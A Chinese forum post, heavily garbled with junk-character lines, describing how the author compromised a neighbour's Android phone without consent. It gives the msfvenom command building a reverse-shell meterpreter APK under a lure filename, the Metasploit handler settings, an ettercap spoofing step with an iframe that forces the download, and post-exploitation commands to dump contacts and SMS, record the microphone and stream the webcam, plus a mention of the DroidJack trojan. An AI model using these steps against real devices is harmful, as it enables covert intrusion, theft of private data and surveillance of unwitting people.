|
3 a" E7 V u$ P; t
五、msf+ettercap入侵邻居安卓手机
: M* s0 ?/ Y i9 S( O8 _3 Z7 Q 8 r9 d& p. U! t% X
( Q0 M. |- @, s( R3 p3 p
首先启动msf
" E, p" c, {- {/ a3 Y' s7 q
& {* X c/ I$ }% {- ~& E
9 h0 g0 F$ d5 a- T/ v, l u: g 先用kali生成一个安卓木马，如下命令：
0 f+ r4 e! K6 { ^4 I" ^1 ?
5 X7 M b* u5 r) s- k# K% K' ^ w3 b0 v7 j+ e8 Q; R
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk & U- D( J& U$ D: J1 n& K1 B
. x7 h. n$ |% { U
" g( F+ i5 S, |+ P9 B: N1 _  为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 / Z# d- V9 ?! J" p' X
: b. M6 b0 Q/ b
R7 x/ z7 `# Q& ] r1 ?% Y l 然后进入msf
1 m5 A, S( k: x) l& x" m
- r. Z* L1 J+ i! o2 c: _) g( M. [: E" F7 i
use exploit/multi/handler # D7 t* Y; e0 D0 {5 d# f
, H+ z8 @; x& O" u8 V. @& M, \7 b
' K/ Z9 r, u% S4 y set payload android/meterpreter/reverse_tcp ! c+ N' d* T' |; X7 O
, n4 P( ]$ {3 A( z
3 K* I" K- s- m& A set LHOST 192.168.0.109 //ip为kaili的ip
+ x' f Y1 w& `4 X) J - {: P+ d" ]5 |, d' ]3 V3 f
4 l" Y# G4 L0 w2 p" |" o set LPORT 44444 //端口一定要与前面生成的木马的端口一致
: [- P u$ k+ S% X
$ y1 D. l" i2 z8 F& n8 |
2 e! s" o# q% r* ^2 L( C J Exploit * N$ s( P0 h5 u2 x9 I$ g! A
/ T( V: I1 q& K
1 O6 z& @$ H1 x+ T4 S) T
 # I3 Z C5 G! r4 L, \2 B7 h6 _% z
. E; t9 \3 ^1 ~1 b3 {* I
; A" O2 M# s; ^6 j 下面我们开启ettercap -G
5 W/ m( k7 X" c F4 L
5 d, Y, \) K- [* o* j5 a7 f5 k3 [$ W0 g/ n6 r) C
我物理IP为
; {7 H+ l j1 v- i1 U
6 }& m! M* H/ ]4 Q' c7 @+ z' q
7 ]& X' ^% Y0 f- ~2 ?. B 
9 N* I# s$ x( R
3 K2 z9 R$ F( E _9 x
. z* Z' V- d4 d. D2 V 别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
" s/ Z2 {# T3 V' W6 M/ n3 M2 E
; N: w; B. F& _8 q& y. ]
/ K J( m/ @) j3 t 下面我们来设置一下
% D2 R7 I! S* A3 R: g
( i" m8 L5 r; s
% a3 w4 n# m" J- {. V( w* ]2 h* B% Y 
+ D9 Z9 r& h/ q8 [* I
( [; l" }" i6 L: ~3 O! G0 f
) M, ^6 r, }8 r4 ? 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， ' s q3 V `- v& o/ {" S2 g- K7 ^* T: R
& G. f; R; s8 C9 k1 A$ H5 d
) D1 u8 f8 C: l& z$ A- [- R7 _
( @- u: l) L# A' U$ ^0 U9 N
/ a8 }* |* T% @+ Z; {1 e0 S) K# D% _% D. l$ r! k% }5 Y3 j$ g
3 k# X3 {& e& g* e
' f5 a3 @* f2 L1 L. x/ b9 h
4 F1 F) u6 E/ P$ }
2 d1 b3 q/ q8 ~
- Q% y* {9 {1 O" x' N" H7 v8 ~( H
1 d$ Z( W! g5 s
- W9 W- S5 X1 \$ T% U ( e. ]" t7 o* q0 Z& z
l3 F) V# g% H1 Z- K5 f
- y! c/ i) t2 v+ @. r- d, { ( s# I4 ^; h4 ? ]; g3 B. U: z
+ H3 W" W$ i' {1 m
8 L0 w, I6 d9 A5 u: t3 _
9 O+ F5 S# f' s( g8 [( @# E
7 A8 x- e1 M( l9 u
- Y c' q3 C6 T4 @ : ]& J9 L) r Y; u1 F5 B. Y
T8 B- O* q: h8 _2 _
% R+ j8 y" Q1 x: @& B7 H, f
: S* o3 a8 ~* \) m# ?
! U7 ], t: z/ H& ]1 ?6 b- w4 a& `) }! s 9 t9 y- ]. s$ }
& G/ w7 \/ m$ W7 o2 V% M, _/ m
' T) G+ B" _. h; ?) J
6 G1 D% r; ]% G4 {- h7 p
( R2 j$ W% c/ M" b% \$ R X
X, s/ S$ z! [( G/ A: |( V
/ O& H$ d" H5 G5 c8 l9 Y # R( }# _, d, K. u' y
: d- [$ q: K, h & c% S2 B: c/ h! C8 y3 y
) C" C! d+ f1 F9 |
& B9 E" K/ \9 o) ^ N 
; T) W: h' y! c
% z4 m7 j4 p$ c. i7 m* d) y$ b
9 o1 Z V5 s4 {4 l3 P 下面我们开始攻击 - d, }! W3 t3 n; q. `$ K' b
4 V1 `9 h2 W- w2 W
5 L: ?/ h0 U0 ]0 F- S; h
" O! q& z' \1 g( i, F
' E- ~7 {; K8 ?. \, e& P. `; Q7 E8 n$ L; w8 G3 x
1 f$ i# B* K+ u. P# ? 5 u3 j+ c& H3 n
$ k3 Z1 p( H% Z, o
0 P$ B2 q Y7 k; F
* Z% h- R" h/ F: y$ X8 X
. j/ m# [7 H, N; V+ I& ~; b `9 q
3 @6 }6 v0 U1 t1 c, n) Q
8 h% ]) X, u% |6 w6 t6 Z
+ @8 A. B- S1 \ 
/ p: g; w6 M) r; o6 c4 m: j 8 k: e9 d8 b! @( p4 n
( y/ B$ @9 o: m- G3 B* B; ?# v/ v 大概过了5分钟多，发现反弹成功了
. o* e& V. |4 E' n# O/ d0 M5 u
( N$ p) G1 m: ^2 b6 S3 D! ?0 a/ F( w0 C) F+ j
+ F7 p5 K) j9 T( r" q
/ B; T0 U( E0 p. G6 b9 y% y9 X' L% r+ t
$ B, A2 S4 l8 x* o+ h- o* A- o 3 i& d& W* B# m/ T/ d c
. \) |! j7 [# }( F ! r4 t, G/ b3 f) ? {, j
+ c' Q9 R5 h/ P0 F4 l
" g# w0 g3 D$ t1 F8 J
* [- l$ | e: F" {0 q5 Q
9 k6 I. T: r$ m: F* f/ S' \8 [% N+ x6 |! L6 [0 q+ b
# l8 X. c0 ?) c j' s+ n1 L; C 8 ~; P9 T- e8 v% q1 z+ H
; O, _1 y# Z( W7 }( X0 N
6 O& Y+ y. [4 l5 @4 X) z% C
( ~* d9 Y5 Z, s5 J( z, y- F1 a( c" y6 M* ?+ Q" f9 E
 9 s! l8 c2 H& n* y6 G
* Z( M( }+ [( k6 t( x- \1 c5 d
( q! h2 {( ~5 k- N 执行命令 ( B/ Z& o6 I, L, m H% W
' @/ M0 c: B) R$ g5 ]7 A- n2 ]8 q5 R
% S( Z3 z: g& {0 l6 i$ P# r% _
8 }4 Y2 ?- r# K- h
! F1 S$ o9 g! { dump_contacts --》这个是导出电话
: @8 ^! F: v! y7 ?( d' g& T
3 ^0 n/ F: X# N( ]0 {. G5 g: ^6 t- w! l) Q- J- d
dump_sms --》这个是导出信息 3 {; a/ O5 V- F- g6 O6 h
) w) t8 n5 ~2 d
+ ?5 I5 Q& D( }1 D% d9 B
record_mic Record audio from the default microphone for X seconds p8 y" ?/ a. k
& u- E6 n, u9 q1 `/ r; R$ G7 p: M
. A, I" v9 z* l( v8 x' q7 A webcam_chat Start a video chat
$ Q) W2 A: M. f
" y+ f5 F2 A' j0 Q# c
1 R& i( ] w+ s3 [: [# s webcam_list List webcams 7 ?' T" v: F8 M" I
; k+ H5 R! l# A
0 A) v2 n1 e, O5 H webcam_snap Take a snapshot from the specified webcam 8 [0 |* l5 } a8 J7 q( d
1 ]3 R4 K1 e! }3 N/ f
2 _! D* B8 d$ z webcam_stream  lay a video stream from the specified webcam ' Q( w6 ]4 A4 J1 P
. t- i! p! d' U' z/ E" B4 F( v8 T' _% U/ }3 n, n
 2 _5 ]4 R" ?# b- h$ f
" U) o2 W4 L' ^9 J K6 X8 E1 u7 s6 i
# ^- j+ c: E9 G/ q5 ^9 y: g 
/ H0 y: b+ i( G3 l6 ]" K5 K7 K8 ] u) r* m8 k1 V5 R, W) i
2 i9 ?; _8 q2 L1 v 我们打开看一下电话薄， ( j2 ^7 A3 s( }" N
7 i1 X& N& L |6 M' u; e4 _
: W( [, v/ @8 r$ {1 e- ~5 ~ u2 Q- D
* {/ @* L- y* o: Z9 _3 u- K
# w0 e7 z& [% }% C: D/ C* Y( k2 J: \# A
! X' \5 j! Q5 Q$ s3 p 5 D A& L( E' X
$ {2 ^- u: w8 Y9 P/ {" [
: g- M$ g0 _/ ]- d' q
' `* z5 f) l, m" k- r7 ^- Z+ ?3 h5 {/ M: ], S) ?
 0 B0 w% z0 O! \/ }+ L2 b0 v' R. }3 I
0 M& T' L& W/ u# a& w) B @
/ G+ {) z4 ?. [& ^1 C 
! ]# i( W5 H, B; ~ S! }. s$ D8 L
1 ^ k- b# S* _6 \/ L, I
% I2 A' t' G) ?" E2 G, u) t
6 P- A8 E) d% A; r
5 P2 j" ^$ J: U, U! d9 o' a, i6 c1 d1 `' i- p- Q
我们同时欺骗成DroidJack木马，使用方法如图：
8 b5 J' v3 C4 j' c. ~
& T) C: ^2 h2 `- w1 V; d
" j. Q- u! U* I4 q: G  ( M: S' r* `0 Q) ~1 h$ F4 e, U
/ q. | b8 I5 i8 V; M" P9 j
; K1 j0 G' k- ~7 a, V) L+ A3 J
: l i! U3 w' t: h3 H& F3 R8 h* Q6 G3 C
: j* F" N; d1 b. O F7 f2 D; |& c7 U1 c1 V& l' Y. p2 c$ B" k x1 |
 " ]$ [5 L" G# l3 ? i5 [- e* m8 A; F
# N6 s( P: N1 P3 r, q# l1 v5 h1 P) d+ k) L& m2 X5 z
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
+ u3 p+ J7 t8 b& m 8 e# {5 e& `, O
$ F5 p4 B% O2 Q+ o
 4 G% V3 h* r: I
- L f5 Z! r- N0 E; S! e( N% ]5 B. b! ^" O) e! z" @) Q
+ D, f8 \- g% ]- g 4 I0 i( M# n3 X! T# i
' q5 _% t6 p3 {" p7 q% s( N  8 v- D1 b; Y. Y! J+ d. P
& P% g& X+ x Q$ u
/ ~! F8 c6 X, m& c2 G( H, [( G: k
  5 V H! o7 T2 g( ~4 r( C$ t! R0 a( o
% j" [1 `, `% O
/ i) p3 o/ U/ J7 I; ^ C$ q
" r+ ?" W @# b8 a, }
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对